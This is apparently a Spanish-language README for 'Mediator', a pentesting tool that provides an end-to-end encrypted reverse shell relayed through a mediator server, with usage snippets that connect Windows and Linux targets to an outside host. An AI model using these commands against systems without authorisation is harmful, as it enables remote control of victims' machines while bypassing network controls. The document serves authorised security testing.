
Un shell inverso extensible, cifrado de extremo a extremo, que funciona a través de redes sin necesidad de reenvío de puertos.
Mediator es una shell reversa cifrada de extremo a extremo en la que el operador y la shell se conectan a un servidor "mediador" que puentea las conexiones. Esto elimina la necesidad de que el operador/controlador configure el redireccionamiento de puertos para escuchar la conexión. Mediator también permite crear plugins para ampliar la funcionalidad de la shell reversa.
Puede ejecutar los scripts de Mediator como ejecutables independientes o importarlos para integrarlos en otras herramientas de pentesting y respuesta a incidentes.
Inspirado en las aplicaciones de chat cifradas de extremo a extremo, Mediator adopta un enfoque único en el modelo cliente/servidor de una shell reversa. Mediator utiliza:
Las shells reversas y los controladores se conectan al servidor Mediator con una clave de conexión. El servidor escucha en el puerto 80 para las conexiones del controlador y en el puerto 443 para las conexiones de la shell reversa. Cuando los clientes se conectan al mediador, el servidor los pone en cola según su tipo respectivo y clave de conexión. Cuando tanto una shell reversa como un operador se conectan al servidor con la misma clave, el servidor puentea las dos conexiones. A partir de ahí, se realiza un intercambio de claves entre los dos clientes, y toda la comunicación entre la shell reversa y el operador se cifra de extremo a extremo. Esto garantiza que el servidor no pueda espiar los flujos que está redirigiendo.
Los plugins permiten agregar comandos adicionales que pueden ejecutar código en el host del operador, en el host objetivo o en ambos. Consulte el LEEME en el directorio de plugins para obtener más información sobre los plugins.
Los scripts del cliente se pueden ejecutar en Windows o Linux, pero necesitará levantar el servidor (mediator.py) en un host Linux. El servidor es Python puro, por lo que no es necesario instalar dependencias. Puede ejecutar el script del servidor con
$ python3 mediator.py
o puede construir una imagen Docker con el Dockerfile proporcionado y ejecutarlo en un contenedor (asegúrese de publicar los puertos 80 y 443).
Necesitará instalar las dependencias que se encuentran en requirements.txt) para que los clientes funcionen. Puede hacerlo con el siguiente comando:
$ pip3 install -r requirements.txt
Consulte Consejos y recordatorios al final para obtener ayuda sobre la distribución de los clientes sin preocuparse por las dependencias.
El controlador y la shell reversa se pueden usar dentro de otros scripts de Python o directamente desde la línea de comandos. En ambos casos, los clientes pueden aceptar argumentos para la dirección del servidor y la clave de conexión. El uso de esos argumentos se describe a continuación.
Dirección del servidor Mediator
Para el uso en scripts de Python, la dirección del host mediador es necesaria al crear la instancia:
Clase Handler
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
Clase WindowsRShell
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
Si se ejecuta un script de cliente directamente desde una shell, puede codificar la dirección al final del script, o se puede especificar la dirección del servidor como argumento con la bandera -s o --server:
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
Clave de conexión
Cuando dos controladores o dos shells reversas se conectan al servidor Mediator con la misma clave de conexión, solo la primera conexión se pone en cola esperando su contraparte. Hasta que la conexión en cola agote el tiempo de espera (30 segundos) o coincida con una conexión contraparte, todos los demás clientes del mismo tipo que intenten conectarse con la misma clave de conexión serán rechazados.
Es importante asegurarse de que cada controlador utilice una clave de conexión única para evitar una condición de carrera que resulte en la entrega de la shell incorrecta a un operador.
Solo se aceptarán claves con el prefijo "#!ConnectionKey_". La clave de conexión predeterminada es "#!ConnectionKey_CHANGE_ME!!!".
Para cambiar la clave de conexión en el uso de scripts de Python, la clave de conexión se puede proporcionar opcionalmente al crear la instancia:
Clase Handler
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
Clase LinuxRShell
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
Si se ejecuta un script de cliente directamente desde una shell, puede codificar la clave de conexión al final del script, o se puede especificar la clave de conexión como argumento con la bandera -c o --connection-key:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile.